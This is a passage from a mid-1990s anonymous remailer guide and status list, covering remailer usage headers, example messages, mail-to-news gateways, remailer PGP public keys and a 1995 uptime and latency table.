remailer, finger remailer@soda.csua.berkeley.edu, or send mail to that
address with the Subject: remailer-info
remail@extropia.wimsey.com requires that you public-key encrypt your
messages with PGP. This added security prevents a hacker or nosey
sysadmin at your site from reading your outgoing mail or finding out
where it's going. This remailer is not directly connected to the
internet, so messages will be delayed about an hour. Some of the
other remailers support PGP as well. For remailers which support
both encryption and plaintext messages, identify encrypted messages
by adding a header which reads: Encrypted: PGP, either in the actual
message headers, or following a double colon (see examples below)
PGP keys can be found at the end of this document.
Some remailers offer several additional features. These include
remailer@alpha.c2.org, remailer@xs4all.nl, remailer@nately.ucsd.edu
usura@replay.com and remailer@myriad.pc.cc.cmu.edu
Adding the header "Cutmarks:" will truncate the message starting with
any line that begins with the same characters as in the Cutmarks header.
This can be used to remove an automatically-inserted signature file.
Also supported is the header "Latent-Time:". This allows a message to
be delayed at the remailer and sent out at a later time. This is useful
because it prevents people from correlating the times at which certain
anonymous posts appear with the times that you are logged in. Both
absolute and relative delays are possible. For example,
"Latent-Time: 19:00" would have the remailer hold the message until
7 PM local time and then deliver it. Times must be in 24-hour format.
"Latent-Time: +06:30" would deliver the message six hours and thirty
minutes after it is received. The maximum permissible delay is 24
hours. These lines may be placed either in the message headers,
or following the double colon. For more information, send mail to
one of the remailers listed above, Subject: remailer-help
There is an anonymous contact service at anon.penet.fi. Users are
automatically assigned an address of the form anxxxxxx@anon.penet.fi,
where xxxxxx is a number, when they first send a message via this
remailer. Any replies to this address are forwarded back to you.
For information on this remailer, send mail to: help@anon.penet.fi
There is another anonymous contact service at chop.ucsd.edu.
For information on this remailer, send mail to: acs-info@chop.ucsd.edu
desert.xs4all.nl also has a anonymous account service. For more information,
send mail to remail@desert.xs4all.nl with subject "help".
There is a system installed on alpha.c2.org which will allow you to
create an email address and have messages sent to that address encrypted
and sent to you. For info on this remailer, send mail to help@alpha.c2.org.
A help file on another remailer of this type is available by sending
mail to mg5n+remailer-help@andrew.cmu.edu
If you have a www browser, A help file on a similar service is available
from http://www.c2.org/services/blind
Anonymous postings to usenet can be made by sending anonymous mail to one of
the following mail-to-usenet gateways (but the news gateways themselves do
not make the message anonymous):
group.name@news.demon.co.
group.name@bull.com
group.name@cass.ma02.bull.com
group.name@charm.magnus.acs.ohio-state.edu
group.name@comlab.ox.ac.uk
group.name@paris.ics.uci.edu
group.name@myriad.pc.cc.cmu.edu (Supports Crossposting)
group.name.usenet@canaima.Berkeley.EDU
group.name.usenet@decwrl.dec.com (Preserves all headers)
The mail-to-news gateways do not anonymize messages; you must use a
remailer if you want the message to be posted anonymously.
Not all gateways support all newsgroups. You may have to try several
to find one that supports the groups you wish to post to.
It would also be advisable to try a post to alt.test before relying on
any such system to function as expected. Also note that the last two
require .usenet at the end of the address.
In addition, you can cross-post to several newsgroups by adding the header
Newsgroups: with the names of the groups you want to post to and sending
it to mail2news@news.demon.co.uk or mail2news@myriad.pc.cc.cmu.edu
(Use the ## feature with the remailers to add the header line)
Examples:
Simple Remailing:
> From: joe@site.com
> To: remail@c2.org
> Subject: Anonymous Mail
>
> ::
> Anon-To: beth@univ.edu
>
> This is some anonymous mail.
Chaining remailers:
> From: sender@origin.com
> To: remailer@rebma.mn.org
>
> ::
> Request-Remailing-To: remailer@myriad.pc.cc.cmu.edu
>
> ::
> Request-Remailing-To: recipient@destination.com
>
> This is an anonymous message
Adding extra headers to the output message:
> From: suzie@euronet.co.uk
> To: remailer@nately.ucsd.edu
>
> ::
> Request-Remailing-To: mail2news@news.demon.co.uk
>
> ##
> Subject: Ignore this test
> Newsgroups: alt.test
> Comments: This is only a test
>
> This message will be posted to alt.test!
Cutmarks and delay:
> From: sam@eric.com
> To: remailer@xs4all.nl
> Subject: ignore
>
> ::
> Anon-To: alt.test@comlab.ox.ac.uk
> Latent-Time: +15:30
> Cutmarks: --
>
> This is an anonymous test.
> Note that it does not have my .sig appended to it!
>
> --
> sam@eric.com - 310-853-1212 - This is my .sig - Finger for PGP key!
The following are PGP public keys of the remailers which support encryption.
Remember to use the Encrypted: PGP header!
<remail@extropia.wimsey.com>
1024-bit key, Key ID B5A32F, created 1992/12/13
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3
mQCNAisrAP0AAAEEAJr3OwIfOIOoh9JndwwqFg+VyWFTAyM8S0B7wyGKI+A9sMAB
mbSOIU52EszvLdZk8NH8mrOD9m3EZlt9gXOjln881RMilAunnzdXaJ6ffBKqPL+l
yiefCbCo6wScVNfMSV6Di/2HMoFzVqukwRjTx8lqKt6hgy0uedtwcCemtaMvAAUR
tCVSZW1haWxlciA8cmVtYWlsQGV4dHJvcGlhLndpbXNleS5jb20+iQCVAgUQK2SV
p4OA7OpLWtYzAQG8eQP9F9ye/F/rXhJLNR5W/HV5k+f6E0zWSgtmTTWUYyydfJw+
lKDEDH6v+OFOFE3+fuTIL5l0zsNMSMdF5u7thSSWiwcFgaBFQF9NWmeL/uByOTSY
tsB6DQSbw656SBH7c7V7jvUsPit/DubwBXZi9sOlULau3kQqXeeQxPhNE+bpMy6J
AJUCBRArKwSLk3G+8Dfo40MBAXYAA/4hCVDFD0zG47pYPMg+y7NPE5LktWt2Hcwt
Z4CRuT5A3eWGtG8Sd5QuHzbE4S9mD3CFn79bxZi0UDhryD8dsCG4eHiCpAcZqSvR
JSkpgamdRaUQHNmMxv5goxHhRem6wXrKxZQNn5/S0NtQOrS6QKhFlGrzDIh/2ad1
J9qpyzJ/IYkARQIFECsrA9RLrSJixHgP9wEBNcEBewWpzywKk/SBDwocXebJmsT6
zug/ae78U/cu9kTX620Xcj1zqOdx9Y9Ppwem9YShaQ==
=I7QE
-----END PGP PUBLIC KEY BLOCK-----
Anonymous Remailer <hfinney@shell.portal.com>
510-bit key, Key ID 5620D5, created 1992/11/15
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3
mQBNAisGf+IAAAEB/ieS6th8hI1QBjGpmctVvsIxZBtmpykVXc3psh0XVfH4sECS
ugouk2zm/PJtt59A2E5SO3xjpDjeKlkQ745WINUABRG0LFJlbWFpbGluZyBTZXJ2
aWNlIDxoZmlubmV5QHNoZWxsLnBvcnRhbC5jb20+iQCVAgUQK3Azm4OA7OpLWtYz
AQHzawQAwZPaJUR9iNwyKMDm4bRSao0uu381pq6rR3nw0RI+DSLKTXPqDaT3xBmL
dVv1PVguLcoao/TRLkAheV7CIxodEiI9lAC2o6lqSXCP+vm3jYmulSgUlKafXYbj
LAbZpsKRAUjCpyx0wlYmoHhkA+NZDzMcWp6/1/rM/V1i4Jbt2+GJAJUCBRArBpKv
qBMDr1ghTDcBASTlBACfTqODpVub15MK5A4i6eiqU8MDQGW0P0wUovPkNjscH22l
0AfRteXEUM+nB+Xwk16RG/GdrG8r9PbWzSCx6nBYb7Fj0nPnRPtS/u69THNTF2gU
2BD0j2vZF81lEHOYy6Ixao2b6Hxmab2mRta2eTg7CV6XP3eRFDPisVqgooAWgw==
=arSc
-----END PGP PUBLIC KEY BLOCK-----
Remailing Service <hal@alumni.caltech.edu>
510/0BB437 1992/11/12
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQBNAisCtU0AAAEB/jNOYzN1B2YzOxlK/Zb6axoOaGlPq5I7DV9GH3hcGRN5N6Fi
T4sRLhi53Sc5rUdYDa8mFQd4tqvFG6rHcT8LtDcABRG0KlJlbWFpbGluZyBTZXJ2
aWNlIDxoYWxAYWx1bW5pLmNhbHRlY2guZWR1PokAlQIFECsGk/aoEwOvWCFMNwEB
24gEAJlpxL88gdKUxdgXCTCeFZ45bTbyiS0Mfy86iGthyuLRYjAEjJB5yerRaKDi
JNOgCTvnO+I9YyFdXnPEpvBjqVfpqHF2WCc4f7BgzBbOKg79EyiOp2/eYIQT1Fkk
cvisjRGlmHncfGgoq+OhVUw81imeSUPbv8vZyqskUU7djZKb
=4W6s
-----END PGP PUBLIC KEY BLOCK-----
Remailer (remailer@rebma.mn.org)
1024/BA80A9 1992/11/26
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAisUI2QAAAEEAKgm07Hsje5KpmXYd5azk0R6AES+qK7LcofnVGojUs7GBghD
WbwrmW8oOEOhRorlShRALKeYspV4xYIw4WDkJcJxuf1B254scz1urF/Eem3zPW9b
yPAx7W/cGwvs6SouZvFcSDq4v1zApvGE9hP4szPzHeGmVr0NVNeaDK0guoCpAAUR
tCBSZW1haWxlciAocmVtYWlsZXJAcmVibWEubW4ub3JnKQ==
=/qHx
-----END PGP PUBLIC KEY BLOCK-----
Tommy the Tourist <remailer@soda.berkeley.edu>
512/5E6875 1994/04/25
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQBNAi27mNAAAAECAONCUi/9jdl0SXGhOhT4Vvgl9uOYLgbOjU5kMXEkpFQriCYC
hWfNuhH8zESs9DFTMHCXUsXYrkkm/bHdhGheaHUABRO0LlRvbW15IHRoZSBUb3Vy
aXN0IDxyZW1haWxlckBzb2RhLmJlcmtlbGV5LmVkdT4=
=aoJM
-----END PGP PUBLIC KEY BLOCK-----
vox.hacktic.nl
512/368B41 1994/04/29
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQBNAi3BYrsAAAECALbhXUJWvniV9bGz67lGnXqc3BOjRwVBV9pY9V6cJEfw/UOn
R9Bi0WWDelp20Z6u+CHijrq7iaRyTL2DNtw2i0EABRG0KlZvWCBSZW1haWwgU2Vy
dmljZSAgIDxhbm9uQHZveC5oYWNrdGljLm5sPokAlQIFEC3H6O5Z33QUjVaRPQEB
P0oEAJKp0uOhkx7uAfUQGpYLL3RlBR2xomvYdbf/ES7DMn2eAast+cO0YWkveNO1
6h+7K1/AFa3G/q2R0alOoFFYd4J/G5hn/NBdvp3KylhEC5OCe40Qb151NpkF++OE
dtUPu0qd9VlQPNhFzF37sdffkuk5Uaac1/UrPJLaYDQJYIBGtCpWb1ggUmVtYWls
IFNlcnZpY2UgPHJlbWFpbEB2b3guaGFja3RpYy5ubD6JAJQCBRAtx+lIWd90FI1W
kT0BAaBGA/ixWSQsCYDAOw8udVKzcqzjkzcvqDXoOTeoCRCW5yKFjLq/O+jydj0+
Y6sSHgQWeNQMYuLAq3PZWi66POhrXCrQNTdu2+Ni0Zq1UpjDE6D/6bg0ujvJd+Tr
rycJq8B7T81RR/nlkQNkWRji8b1GJ1QAz/NSWuskOKEgsH5fsdvL
=RRIj
-----END PGP PUBLIC KEY BLOCK-----
1024/FD5A2D 1994/06/16 The NEXUS-Berkeley Remailer <remail@c2.org>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAi3/6FIAAAEEANggWtLprhvPDAdv503F5vChmF5jadD16dBke2yuP5iJwt0i
X0eJC7dFoimNp03Cm7pkn5SkGr3i3hjtKLQGtneKNfdp29ELisOc9wMLiBMP46q3
Sr/9RseAt5Nnt4fW2Efi6xO8QLiMVG837gd5pEpXOqJ2FMCikEMvwOz0/VotAAUR
tCtUaGUgTkVYVVMtQmVya2VsZXkgUmVtYWlsZXIgPHJlbWFpbEBjMi5vcmc+iQCV
AgUQLf/owHi7eNFdXppdAQEctAP/aK+rTQxs5J8ev1ZtnYpGZPIEezQeC8z8kRdN
jUKF7CutVLy09izYDSdonuHFyWoHtLb1RUj5fGUFhOzwmJTMlTRzEx8i2a1bKdmQ
qPGNu2iVKIitkSSVZvz7vHXM+ZUFTSC4LGWsECukEONEeyGy+ehG3ON0vx1ATqY5
/ATzPpo=
=N0yt
-----END PGP PUBLIC KEY BLOCK-----
Global Remail Services Ltd. <usura@hacktic.nl>
1024-bit key, Key ID 1FFADA15, created 1994/07/22
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3
mQCNAi4wTh8AAAEEAMb9gl6NlZHy4FdjADel4d+C+Th7+inTOV4mEsKk+N/QfJAj
BN6YPnJ9bm+Ch19FrR1KeTwrpluP6J+GdJrMkVSosvIqBPpSRgOs7nvMhnn3Tnrn
uUFZVDYslQ1wRZvFbTpCEW8TzgVhGy6HMznxEC4ttnOq8pFRFUpL3asf+toVAAUR
tC5HbG9iYWwgUmVtYWlsIFNlcnZpY2VzIEx0ZC4gPHVzdXJhQGhhY2t0aWMubmw+
=+iYx
-----END PGP PUBLIC KEY BLOCK-----
Desert Anonymous Remailing Service <anon@desert.hacktic.nl>
512-bit key, Key ID 06B2A9, created 1994/04/27
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQBNAi2+t1EAAAECALUS6KI7WLBB47y5dDIN+vHAW2XLxu+ELJCNkHLKYxhAr6vY
Ku1e9oMry+bHizW8wCt0JPWMlnzZOkhZplIGsqkABRG0O0Rlc2VydCBBbm9ueW1v
dXMgUmVtYWlsaW5nIFNlcnZpY2UgPGFub25AZGVzZXJ0LmhhY2t0aWMubmw+iQBV
AgUQLb63vZRymF15lPcFAQF88AH/TdqfNlZ2uNH/CpQiy6BneDa0+FJTmBFgy5W+
wcpbsljOFFheH3zz5zA2rkpxIBoy/nd4vQ9kaa6fc1TkVMeBfokAlQIFEC2+t6C+
ZjYIMi0DBQEBT4YD/0NK9fCG8JjE0fS/0SlFshWAGSZxUYREKoQiwo8/ZPEbORHa
+a6E8mXOjy7XHVH00S8/1aOO+ji89FFY2aVNqVVDfZI53er9pZAeNSQ1mvD7isor
B3IOQ+WeKgXL/IvOEaZro0ZA/FWtry0Ty7RZbPwX4j1TkBTxlRI08e2dG7YI
=MfIT
-----END PGP PUBLIC KEY BLOCK-----
Nately remailer key <remailer@nately.ucsd.edu>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6
mQCNAy5+B3EAAAEEALSM+nEA2RH5jFY70OF5x7CayihAw7N6SA+yCSt2c/lgSJT3
Mm0cy+TExUGGEOyWSbT7YA3BeGW6SLXyYYyo7NnA/O5t1lkqWxwSGKZ1te32OTQl
1TVowH93Oh9NpaFrHUs6S9DIg0Uce1EwrInAN1/giOTLGac1Uy8veFkOiI0BAAUX
tC5OYXRlbHkgcmVtYWlsZXIga2V5IDxyZW1haWxlckBuYXRlbHkudWNzZC5lZHU+
iQCVAwUQLn4H7y8veFkOiI0BAQG4TwP/VXZiKX9mK+VT66i2ZJj3vAo/Qj5qp0sZ
t+m3+tk8XDW1lXxf8ilTEfQNdPubQ/MxonQdJbFMBHjQKhJ6mN/jz0Ynnq2g8AfK
LNDK49RM79Xf8N9uVeqRRZHOFA0+xe/eishxZh6sqLWCFd8s2sovOi4Xq7keRceo
tnPbaOZYJQCJAJUDBRAufgewVWSTd1rHuGUBAVBzA/0R8XbDVXoQq1uLfjlioP0M
MGI+xjV+kEX72HvHuyseEHEG1Xm4BEYVfr2z+jIkjxLgaezs4ibkLd/TQSyM9rtB
8rMA5UJWVjdkkQ/HkXCQIdEVOsNtOOFtwLeF1fIvv4u3d5GqJJ4Izy3qSFJwQ8Ww
uXE2r18XZ4oTSuWKTjDmdw==
=KXAP
-----END PGP PUBLIC KEY BLOCK-----
1024/F626DD 1994/10/18 XS4all anonymous remailer <remailer@xs4all.nl>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.1
mQCNAi6kWukAAAEEANSylMdTreltF+CoGa5Bq69yjmzfbMWvrG+Fq1hQHAxP1M/6
3U1wT0wR2iESupnyQY6VNLK4p0Wcs2byHrb6HSlF98Hglg3DxGMMVEAEgKFwWnkD
aznYqnI9JDm1an18bNGabsx0I75uzNcMbmLzUsV7Z8xJT8mPrpJlEsjW9ibdAAUR
tC5YUzRhbGwgYW5vbnltb3VzIHJlbWFpbGVyIDxyZW1haWxlckB4czRhbGwubmw+
iQCVAgUQLqT+8pJlEsjW9ibdAQGD5AP8DEmnZ8EFPpKfisWT/uzxaGG4QzlFnmXs
2jYOXgr30yo5/3VRlrD2I9IfFVe8H8qhZR9f5kRmmC2aDmoers7LfnF/OAaN5aiS
4tZI17dnDiIW4swAY2x3hrx4hk3pF+IagmFtBV6Py1CGkwclx/frGozycNc/CA+B
UI4JGy1/M10=
=sjTO
-----END PGP PUBLIC KEY BLOCK-----
1024/60A7E5 1994/11/01 Slovenian Anonymous Remailer <tomaz@flame.sinet.org>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAy61tPIAAAEEANQTaiQE/P6ZJrbd/jR0KXREmhHgnKS2hG5m/zCdmNiOPlyE
UFyNMvmqqFX2PCLrvWWHdV1QQJeiXDu70TKLQTqB5tarCEDkDkgkHPbfl/xucShe
PViUCRF6d9HYlBaZwTP0ugIp4lPldrdzndbtUz4XhtvmwX1QuEMgPeT1YKflAAUR
tDRTbG92ZW5pYW4gQW5vbnltb3VzIFJlbWFpbGVyIDx0b21hekBmbGFtZS5zaW5l
dC5vcmc+tBI8dG9tYXpAanB1bml4LmNvbT4=
=n9y8
-----END PGP PUBLIC KEY BLOCK-----
Key for user ID: A Free Zone Remailer <homer@rahul.net>
1024-bit key, Key ID 6A1F51, created 1994/11/11
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6
mQCNAy7DR98AAAEEALgM8L/eeEV8ZD/AEUIW4zfk8tmZm/O4oMY/tjJlFqdWwIOt
+aHS6Qw9d+DkXWnNro+Yw/VvIBW0d9DiObf7CkmVU2xPH/yBHgRWBlecwhiH1CeB
emKJrgSkrU4SeQZqproAq4y8A0yjWLGGIRoxdPLAbMGXAE19SboZygiOah9RAAUT
tCZBIEZyZWUgWm9uZSBSZW1haWxlciA8aG9tZXJAcmFodWwubmV0Pg==
=Laqw
-----END PGP PUBLIC KEY BLOCK-----
PGP public key for Q Mixmaster Remailer <q@c2.org>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAy7ASbEAAAEEAK9n3DbFIHngwpjKmzva3okS8bKXdWIYUGUwfuoT6iAGiAxU
gvIq8J3JU4PMoseuRbBSfSuox9gtCDsH4V+UjCvrZvmU3Xtue7XS+Jez7V9MCTs9
GpjBB4he7OY/NKkAeP8r2PZmwRo2JXPprTfXfhpWeTNz8rhWNwiZepWNw3kVAAUT
tBVRIFJlbWFpbGVyIDxxQGMyLm9yZz6JAJUDBRAuwE6iCJl6lY3DeRUBAecBA/9r
hnsOi7aeqtfGLmnJ7UNI+lsGcVS7H9j9xc7+/S/tajyZl66u9KxMI2fKzKyoEWcj
9nEVEMbP+JdErqgpzwp0jkw1YLDY4mNd/gnynvE1oTwEzvIFdfkk7SrIymOx97GO
4WaU75ki2sWRkHgqv27vRSz7jOdl0DTNoj7yMCDMng==
=s+IA
-----END PGP PUBLIC KEY BLOCK-----
Key for user ID: Cypherpunk Remailer <remailer@alpha.c2.org>
1024-bit key, Key ID F348CEB9, created 1994/12/22
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAi75xYgAAAEEAKsaIyjZxn3saeSRkSZpkR/N52lREzU4RCLxUgDdnOxx402D
whBpqFijPwPGvXXbjdySbGm1cFelhcftE4/5hx9KiEqn99+zShI9F5k411Zk28n7
H1+qeZabDlem5XRTsOUwt21JTB+EEH1J3Es1mBEcEk0wXpQJffOhnIrzSM65AAUR
tCtDeXBoZXJwdW5rIFJlbWFpbGVyIDxyZW1haWxlckBhbHBoYS5jMi5vcmc+
=7N5G
-----END PGP PUBLIC KEY BLOCK-----
Key for user ID: Anonymous Remailer <remailer@myriad.pc.cc.cmu.edu>
1024-bit key, Key ID CD184D, created 1994/10/18
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAi6kTXIAAAEEAN3nqh9LpPMwvMOl669R03VE6xBX7DsKRd8xigVpq+1E80al
RszsToRJYsCDNRJBsjiImqyK2sja37Lqcjgc7qbqSEt7lJZkUfmTirh3OBr+t+J/
iT46TO3kRGuFzps2DGMa2aCC34I2BFyBU27KTqBIdAFZph9l5D/OEcH6zRhNAAUR
tDJBbm9ueW1vdXMgUmVtYWlsZXIgPHJlbWFpbGVyQG15cmlhZC5wYy5jYy5jbXUu
ZWR1Pg==
=fUWC
-----END PGP PUBLIC KEY BLOCK-----
1024/5F9071 1995/01/22 Syrinx Remailer <syrinx@c2.org>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAy8hy1cAAAEEAL5H5rkLnWGcRPltnm0NqIIQIgZpDH0UNbgnwOFDHZyyTnmK
mwotc9X1gbRAk4Nn+g6zgmMiiPEUZGdwnvBtY9Sc4/eGyABhzVOqtBw+STQdEg89
avX7hf0eLfEfHRHnDYdpQFuibSwgrweFJ0SyF9nVo97rJXG1Z0KcU00qX5BxAAUR
tB9TeXJpbnggUmVtYWlsZXIgPHN5cmlueEBjMi5vcmc+iQCVAwUQLyHOBEKcU00q
X5BxAQF8+QP+L8P1mBStP80bqMpIzBs7TTZqQQJLZjU60K5edgH+P5Soc3tMmHRT
+3CB7EX4gUvE4tp22FkvcmBrgdP0auBgZgaxYtVa9G5mVMfN5ODfrXnrsZOFzSln
g35Hz46XSdzGoaRyYJVnOEyikgOsxgDVvxoFqTMEJUa0NWQP/hMNYiI=
=8hEU
-----END PGP PUBLIC KEY BLOCK-----
Tower Anonymous Remailer <remailer@tower.techwood.org>
512-bit key, Key ID 5191BD, created 1995/01/22
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQBNAy8iqAQAAAECALHjiFPr7Is0NptniDkYJ9UnRFM3Pn9Lz7mrPd58uo/EPMF5
bm3TjfAmdMlw2oBTtm7Ch3dsfBY44XEEwzVRkb0ABRG0NlRvd2VyIEFub255bW91
cyBSZW1haWxlciA8cmVtYWlsZXJAdG93ZXIudGVjaHdvb2Qub3JnPg==
=Rfb5
-----END PGP PUBLIC KEY BLOCK-----
Key for user ID: Anonymous Remailer Service <vanklava@eniac.ac.siue.edu>
1024-bit key, Key ID A45C25, created 1994/11/02
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAy638kkAAAEEAK6/4gF5jjNyJYuiOnR8N1u8kl43wHBzpWw8nkcqTtfYqXRO
vtN6Ta5eupxAQ282IeD5BsZs7HyboOTOi6Y2HP9pMtP++9kzyeWOnoCH3VkHwy/q
qfmrJT15uSsRGMUqgdwfdzvAYJz3dQBGUo1PBOtJY75WlGjh1G0v6hkhpFwlAAUR
tDhBbm9ueW1vdXMgUmVtYWlsZXIgU2VydmljZSAgPHZhbmtsYXZhQGVuaWFjLmFj
LnNpdWUuZWR1Pg==
=/I8a
-----END PGP PUBLIC KEY BLOCK-----
The operation of this system of remailers is a group effort which relies
on the contributions of many generous people. Please do not abuse the
remailers. If you have problems with a remailer, some of the remailer
operators can be contacted by sending mail to the remailer's address
without a remailing request header. Otherwise, follow the instructions
that come in the headers of messages from the remailer. Do not send
complaints to postmaster at the site, unless the remailer operator
specifies that as the address to make complaints. Many of the remailers
are run by people who are not the general site administrators, and sending
to the wrong address (ie postmaster@...) will most likely just make them
annoyed at you, and won't get your problem resolved.
If you can run an anonymous remailer, please volunteer to do so.
Software is available from anonymous-FTP at
ftp.csua.berkeley.edu in the directory /pub/cypherpunks/remailer/
Additional information and source code can be found at ftp cs.cmu.edu
in the directory /afs/andrew.cmu.edu/usr12/mg5n/public/remailer
or contact me and I'll send you what you need.
The software can be run on most personal unix accounts.
There are two usenet forums for discussion of anonymous remailer systems,
alt.privacy.anon-server and alt.anonymous
The newsgroup alt.anonymous.messages is a 'mail-drop' for anonymous parties
to exchange encrypted messages.
The cypherpunks mailing list is a forum for discussing ways to promote
privacy via cryptography. To join, send mail to cypherpunks-request@toad.com
Additional information on the anonymous remailers is available from
http://www.cs.berkeley.edu/~raph/remailer-list.html
-----------------------------END INSERTED FILE #2------------------------------
-----------------------------BEGIN INSERTED FILE #3----------------------------
REMAILER LIST
This is an automatically generated listing of remailers. The first
part of the listing shows the remailers along with configuration
options and special features for each of the remailers. The second
part shows the 12-day history, and average latency and uptime for each
remailer. You can also get this list by fingering
remailer-list@kiwi.cs.berkeley.edu.
$remailer{"vox"} = "<remail@vox.xs4all.nl> cpunk pgp. post";
$remailer{"avox"} = "<anon@vox.hacktic.nl> cpunk pgp post";
$remailer{"extropia"} = "<remail@extropia.wimsey.com> cpunk pgp special";
$remailer{"portal"} = "<hfinney@shell.portal.com> cpunk pgp hash";
$remailer{"alumni"} = "<hal@alumni.caltech.edu> cpunk pgp hash";
$remailer{"bsu-cs"} = "<nowhere@bsu-cs.bsu.edu> cpunk hash ksub";
$remailer{"rebma"} = "<remailer@rebma.mn.org> cpunk pgp hash";
$remailer{"c2"} = "<remail@c2.org> eric pgp hash";
$remailer{"soda"} = "<remailer@csua.berkeley.edu> eric post";
$remailer{"penet"} = "<anon@anon.penet.fi> penet post";
$remailer{"ideath"} = "<remailer@ideath.goldenbear.com> cpunk hash ksub";
$remailer{"usura"} = "<usura@replay.com> cpunk pgp. hash latent cut post";
$remailer{"desert"} = "<remail@desert.xs4all.nl> cpunk pgp. post";
$remailer{"nately"} = "<remailer@nately.ucsd.edu> cpunk pgp hash latent cut";
$remailer{"myriad"} = "<remailer@myriad.pc.cc.cmu.edu> cpunk pgp hash latent cu
t ek";
$remailer{"xs4all"} = "<remailer@xs4all.nl> cpunk pgp hash latent cut post ek";
$remailer{"flame"} = "<tomaz@flame.sinet.org> cpunk pgp hash latent cut post ek
";
$remailer{"rahul"} = "<homer@rahul.net> cpunk pgp hash";
$remailer{"mix"} = "<mixmaster@nately.ucsd.edu> cpunk mix pgp hash latent cut e
k ksub";
$remailer{"q"} = "<q@c2.org> cpunk mix pgp hash latent cut ek ksub";
$remailer{"syrinx"} = "<syrinx@c2.org> cpunk pgp";
$remailer{"tower"} = "<remailer@tower.techwood.org> cpunk pgp";
$remailer{"eniac"} = "<vanklava@eniac.ac.siue.edu> cpunk pgp hash latent cut ek
";
$remailer{"charon"} = "<charon@styx.jpunix.com> cpunk hash latent cut ek";
$remailer{"bonafide"} = "<remailer@bonafide.jpunix.com> cpunk hash latent cut e
k";
$remailer{"ford"} = "<ford@prefect.jpunix.com> cpunk hash latent cut ek";
$remailer{"aegis"} = "<aegis@athena.jpunix.com> cpunk";
$remailer{"hroller"} = "<hroller@c2.org> cpunk hash";
$remailer{"vanka"} = "<vanka@eniac.ac.siue.edu> cpunk pgp hash latent cut ek";
$remailer{"enigma"} = "<mix@enigma.jpunix.com> cpunk mix pgp hash latent cut ek
ksub";
$remailer{"ain"} = "<remailer@ain.jpunix.com> cpunk pgp";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
JPUNIX.COM offers a domain hiding service for remailers. Send email to
perry@jpunix.com for more information. NOTE: JPUNIX.COM itself does not
run a remailer. All subdomains of jpunix.com on this list are remailers
that are not physically located on jpunix.com
Use "premail -getkeys pgpkeys@kiwi.cs.berkeley.edu" to get PGP keys
for the remailers. Fingering this address works too.
Last ping: Tue 28 Feb 95 11:00:01 PST
remailer email address history latency uptime
-----------------------------------------------------------------------
tower remailer@tower.techwood.org *******+**** 4:14 99.99%
mix mixmaster@nately.ucsd.edu +--+-.++++-+ 1:02:45 99.99%
xs4all remailer@xs4all.nl ***+*+****** 7:22 99.99%
myriad remailer@myriad.pc.cc.cmu.edu +*******+*+* 16:07 99.99%
alumni hal@alumni.caltech.edu ************ 4:44 99.99%
portal hfinney@shell.portal.com ************ 3:28 99.99%
penet anon@anon.penet.fi --+-----+*++ 2:11:46 99.99%
c2 remail@c2.org +++++++-++++ 28:41 99.98%
q q@c2.org +-+--++-++-+ 54:56 99.98%
usura usura@replay.com *****+****** 6:10 99.97%
bsu-cs nowhere@bsu-cs.bsu.edu **-******+** 5:45 99.97%
syrinx syrinx@c2.org +.-****-+*** 58:44 99.94%
nately remailer@nately.ucsd.edu +-++..++++++ 46:08 99.93%
vox remail@vox.xs4all.nl -.--------- 11:35:52 99.99%
ideath remailer@ideath.goldenbear.com ----------- 4:10:11 99.83%
rahul homer@rahul.net **********+ 6:47 99.74%
hroller hroller@c2.org * *****-**** 9:29 99.66%
bonafide remailer@bonafide.jpunix.com ********+* * 15:18 99.59%
flame tomaz@flame.sinet.org ********+*+* 14:40 99.58%
ain remailer@ain.jpunix.com *+ 10:21 99.52%
charon charon@styx.jpunix.com ++*****-+* * 23:47 99.38%
enigma mix@enigma.jpunix.com - 3:45:34 99.46%
ford ford@prefect.jpunix.com + ++..++++ + 1:15:43 99.34%
eniac vanklava@eniac.ac.siue.edu ********** * 6:04 98.73%
soda remailer@csua.berkeley.edu .._.._._-. 8:51:18 98.63%
aegis aegis@athena.jpunix.com *.-*** -+* + 1:56:51 98.12%
vanka vanka@eniac.ac.siue.edu * **** ** ++ 16:38 97.88%
rebma remailer@rebma.mn.org .- --+ --- 11:12:00 85.29%
extropia remail@extropia.wimsey.com - __ 20:47:48 30.69%
desert remail@desert.xs4all.nl 78:44:55 2.24%
History key
* # response in less than 5 minutes.
* * response in less than 1 hour.
* + response in less than 4 hours.
* - response in less than 24 hours.
* . response in more than 1 day.
* _ response came back too late (more than 2 days).
Options and features
cpunk A major class of remailers. Supports Request-Remailing-To:
field.
eric A variant of the cpunk style. Uses Anon-Send-To: instead.
penet The third class of remailers (at least for right now). Uses
X-Anon-To: in the header.
pgp Remailer supports encryption with PGP. A period after the
keyword means that the short name, rather than the full email
address, should be used as the encryption key ID.
oldpgp
Remailer does not like messages encoded with MIT PGP 2.6. Other
versions of PGP, including 2.3a and 2.6ui, work fine.
hash Supports ## pasting, so anything can be put into the headers of
outgoing messages.
ksub Remailer always kills subject header, even in non-pgp mode.
nsub Remailer always preserves subject header, even in pgp mode.
latent
Supports Matt Ghio's Latent-Time: option.
cut Supports Matt Ghio's Cutmarks: option.
post Post to Usenet using Post-To: or Anon-Post-To: header.
